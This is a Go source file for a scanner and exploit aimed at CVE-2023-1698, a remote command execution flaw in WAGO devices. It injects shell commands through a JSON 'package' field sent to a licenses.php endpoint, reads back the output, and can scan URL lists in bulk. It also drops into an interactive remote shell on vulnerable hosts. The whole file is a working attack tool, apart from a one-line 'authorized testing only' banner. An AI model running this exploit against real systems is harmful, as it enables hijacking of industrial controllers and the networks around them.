package main import ( "bufio" "bytes" "crypto/tls" "encoding/json" "flag" "fmt" "io" "net/http" "os" "regexp" "strings" "sync" "time" ) const ( // ANSI color codes ColorReset = "\033[0m" ColorRed = "\033[31m" ColorGreen = "\033[32m" ColorYellow = "\033[33m" ColorBlue = "\033[34m" ColorPurple = "\033[35m" ColorCyan = "\033[36m" ColorWhite = "\033[37m" Developer = "İbrahimsql" ) type Payload struct { Package string `json:"package"` } type Config struct { URL string URLList string Output string Threads int Timeout int Verbose bool Command string NoColor bool UserAgent string } type Result struct { URL string Vulnerable bool Output string Error error } var ( mu sync.Mutex wg sync.WaitGroup ) func main() { printBanner() var config Config flag.StringVar(&config.URL, "u", "", "Target URL to test") flag.StringVar(&config.URL, "url", "", "Target URL to test") flag.StringVar(&config.URLList, "l", "", "File containing list of URLs to test") flag.StringVar(&config.URLList, "list", "", "File containing list of URLs to test") flag.StringVar(&config.Output, "o", "", "Output file for vulnerable URLs") flag.StringVar(&config.Output, "output", "", "Output file for vulnerable URLs") flag.IntVar(&config.Threads, "t", 10, "Number of concurrent threads") flag.IntVar(&config.Threads, "threads", 10, "Number of concurrent threads") flag.IntVar(&config.Timeout, "timeout", 10, "HTTP request timeout in seconds") flag.StringVar(&config.Command, "c", "id", "Command to execute (default: id)") flag.StringVar(&config.Command, "cmd", "id", "Command to execute (default: id)") flag.BoolVar(&config.Verbose, "v", false, "Verbose output") flag.BoolVar(&config.Verbose, "verbose", false, "Verbose output") flag.BoolVar(&config.NoColor, "no-color", false, "Disable colored output") flag.StringVar(&config.UserAgent, "ua", "Mozilla/5.0 (compatible; CVE-2023-1698-Scanner)", "Custom User-Agent") flag.Usage = func() { fmt.Printf("CVE-2023-1698 Scanner v%s - WAGO RCE Exploit\n\n") fmt.Println("Usage:") fmt.Printf(" %s [OPTIONS]\n\n", os.Args[0]) fmt.Println("Options:") flag.PrintDefaults() fmt.Println("\nExamples:") fmt.Printf(" %s -u http://target.com\n", os.Args[0]) fmt.Printf(" %s -l urls.txt -o vulnerable.txt -t 20\n", os.Args[0]) fmt.Printf(" %s -u http://target.com -c \"whoami\" -v\n", os.Args[0]) } flag.Parse() if config.URL == "" && config.URLList == "" { fmt.Println(colorize(ColorRed, "[!] Error: Either -u/--url or -l/--list must be specified", config.NoColor)) flag.Usage() return } if config.URL != "" { // Single URL mode result := scanSingleURL(config.URL, config) if result.Vulnerable { fmt.Printf("%s[+] %s is VULNERABLE!%s\n", colorize(ColorRed, "", config.NoColor), config.URL, ColorReset) if result.Output != "" { fmt.Printf("%s[*] Command Output:%s %s\n", colorize(ColorBlue, "", config.NoColor), ColorReset, result.Output) } // Interactive shell startInteractiveShell(config.URL, config) } else { fmt.Printf("%s[+] %s is not vulnerable%s\n", colorize(ColorGreen, "", config.NoColor), config.URL, ColorReset) } } else { // Bulk URL mode scanURLList(config.URLList, config) } } func printBanner() { fmt.Printf("%sCVE-2023-1698 Scanner%s - WAGO Remote Code Execution | Developer: %s%s%s\n", ColorCyan, ColorReset, ColorPurple, Developer, ColorReset) fmt.Printf("For authorized testing only%s\n\n", ColorYellow, ColorReset) } func colorize(color, text string, noColor bool) string { if noColor { return text } return color + text } func createHTTPClient(timeout int) *http.Client { return &http.Client{ Timeout: time.Duration(timeout) * time.Second, Transport: &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }, MaxIdleConns: 100, MaxIdleConnsPerHost: 10, }, } } func sendRequest(baseURL, command string, config Config) (*http.Response, error) { // Enhanced payload construction payload := Payload{ Package: fmt.Sprintf(";echo -n '[PWNED_START]';%s;echo -n '[PWNED_END]';#", command), } jsonData, err := json.Marshal(payload) if err != nil { return nil, fmt.Errorf("JSON marshal error: %v", err) } // Target endpoint targetURL := fmt.Sprintf("%s/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php", strings.TrimSuffix(baseURL, "/")) client := createHTTPClient(config.Timeout) req, err := http.NewRequest("POST", targetURL, bytes.NewBuffer(jsonData)) if err != nil { return nil, fmt.Errorf("request creation error: %v", err) } // Enhanced headers to bypass simple filters req.Header.Set("Content-Type", "application/json") req.Header.Set("User-Agent", config.UserAgent) req.Header.Set("Accept", "*/*") req.Header.Set("Accept-Language", "en-US,en;q=0.9") req.Header.Set("Accept-Encoding", "gzip, deflate") req.Header.Set("Connection", "keep-alive") if config.Verbose { fmt.Printf("%s[DEBUG] Sending request to: %s%s\n", colorize(ColorYellow, "", config.NoColor), targetURL, ColorReset) fmt.Printf("%s[DEBUG] Payload: %s%s\n", colorize(ColorYellow, "", config.NoColor), string(jsonData), ColorReset) } return client.Do(req) } func checkVulnerability(url string, response *http.Response, config Config) (bool, string, error) { if response == nil { return false, "", fmt.Errorf("nil response") } body, err := io.ReadAll(response.Body) if err != nil { return false, "", fmt.Errorf("failed to read response body: %v", err) } defer response.Body.Close() responseText := strings.ReplaceAll(string(body), "\\/", "/") if config.Verbose { fmt.Printf("%s[DEBUG] Response Status: %d%s\n", colorize(ColorYellow, "", config.NoColor), response.StatusCode, ColorReset) fmt.Printf("%s[DEBUG] Response Body (first 200 chars): %s%s\n", colorize(ColorYellow, "", config.NoColor), truncateString(responseText, 200), ColorReset) } // Enhanced pattern matching patterns := []string{ `\[PWNED_START\](.*?)\[PWNED_END\]`, // Primary pattern `\[S\](.*?)\[E\]`, // Fallback pattern } for _, patternStr := range patterns { pattern := regexp.MustCompile(patternStr) matches := pattern.FindStringSubmatch(responseText) if len(matches) > 1 { extractedContent := strings.TrimSpace(matches[1]) // Validate that we got actual command output if extractedContent != "" && !strings.Contains(extractedContent, "error") { return true, extractedContent, nil } } } // Additional checks for different response patterns if strings.Contains(responseText, "uid=") || strings.Contains(responseText, "gid=") || strings.Contains(responseText, "root") { return true, "Command executed successfully (detected uid/gid pattern)", nil } return false, "", nil } func scanSingleURL(url string, config Config) Result { if config.Verbose { fmt.Printf("%s[INFO] Scanning: %s%s\n", colorize(ColorBlue, "", config.NoColor), url, ColorReset) } response, err := sendRequest(url, config.Command, config) if err != nil { return Result{ URL: url, Vulnerable: false, Error: err, } } vulnerable, output, err := checkVulnerability(url, response, config) return Result{ URL: url, Vulnerable: vulnerable, Output: output, Error: err, } } func scanURLList(filename string, config Config) { file, err := os.Open(filename) if err != nil { fmt.Printf("%s[!] Error opening file: %v%s\n", colorize(ColorRed, "", config.NoColor), err, ColorReset) return } defer file.Close() var urls []string scanner := bufio.NewScanner(file) for scanner.Scan() { url := strings.TrimSpace(scanner.Text()) if url != "" && !strings.HasPrefix(url, "#") { urls = append(urls, url) } } if len(urls) == 0 { fmt.Printf("%s[!] No valid URLs found in file%s\n", colorize(ColorRed, "", config.NoColor), ColorReset) return } fmt.Printf("%s[INFO] Loaded %d URLs for scanning%s\n", colorize(ColorBlue, "", config.NoColor), len(urls), ColorReset) // Create channels for URL processing urlChan := make(chan string, len(urls)) resultChan := make(chan Result, len(urls)) // Start workers for i := 0; i < config.Threads; i++ { wg.Add(1) go worker(urlChan, resultChan, config) } // Send URLs to workers for _, url := range urls { urlChan <- url } close(urlChan) // Collect results go func() { wg.Wait() close(resultChan) }() var vulnerableCount int var outputFile *os.File if config.Output != "" { outputFile, err = os.Create(config.Output) if err != nil { fmt.Printf("%s[!] Error creating output file: %v%s\n", colorize(ColorRed, "", config.NoColor), err, ColorReset) } else { defer outputFile.Close() } } for result := range resultChan { if result.Error != nil { if config.Verbose { fmt.Printf("%s[ERROR] %s: %v%s\n", colorize(ColorRed, "", config.NoColor), result.URL, result.Error, ColorReset) } continue } if result.Vulnerable { vulnerableCount++ fmt.Printf("%s[+] VULNERABLE: %s%s\n", colorize(ColorRed, "", config.NoColor), result.URL, ColorReset) if result.Output != "" { fmt.Printf("%s[*] Output: %s%s\n", colorize(ColorBlue, "", config.NoColor), result.Output, ColorReset) } if outputFile != nil { outputFile.WriteString(result.URL + "\n") } } else if config.Verbose { fmt.Printf("%s[+] Safe: %s%s\n", colorize(ColorGreen, "", config.NoColor), result.URL, ColorReset) } } fmt.Printf("\n%s[SUMMARY] Scan completed. Found %d vulnerable targets out of %d total%s\n", colorize(ColorCyan, "", config.NoColor), vulnerableCount, len(urls), ColorReset) } func worker(urlChan <-chan string, resultChan chan<- Result, config Config) { defer wg.Done() for url := range urlChan { result := scanSingleURL(url, config) resultChan <- result } } func startInteractiveShell(url string, config Config) { fmt.Printf("\n%s[!] Starting interactive shell...%s\n", colorize(ColorCyan, "", config.NoColor), ColorReset) fmt.Printf("%s[!] Type 'exit' or 'quit' to quit%s\n", colorize(ColorCyan, "", config.NoColor), ColorReset) fmt.Printf("%s[!] Type 'clear' to clear screen%s\n", colorize(ColorCyan, "", config.NoColor), ColorReset) reader := bufio.NewReader(os.Stdin) for { fmt.Printf("%s# %s", colorize(ColorCyan, "", config.NoColor), ColorReset) command, err := reader.ReadString('\n') if err != nil { fmt.Printf("%s[!] Error reading input: %v%s\n", colorize(ColorRed, "", config.NoColor), err, ColorReset) break } command = strings.TrimSpace(command) if command == "" { continue } if command == "exit" || command == "quit" { fmt.Printf("%s[!] Exiting shell...%s\n", colorize(ColorGreen, "", config.NoColor), ColorReset) break } if command == "clear" { fmt.Print("\033[H\033[2J") continue } // Execute command response, err := sendRequest(url, command, config) if err != nil { fmt.Printf("%s[!] Command execution failed: %v%s\n", colorize(ColorRed, "", config.NoColor), err, ColorReset) continue } vulnerable, output, err := checkVulnerability(url, response, config) if err != nil { fmt.Printf("%s[!] Error processing response: %v%s\n", colorize(ColorRed, "", config.NoColor), err, ColorReset) continue } if vulnerable && output != "" { fmt.Printf("%s\n", output) } else { fmt.Printf("%s[!] No output or command failed%s\n", colorize(ColorYellow, "", config.NoColor), ColorReset) } } } func truncateString(s string, maxLen int) string { if len(s) <= maxLen { return s } return s[:maxLen] + "..." }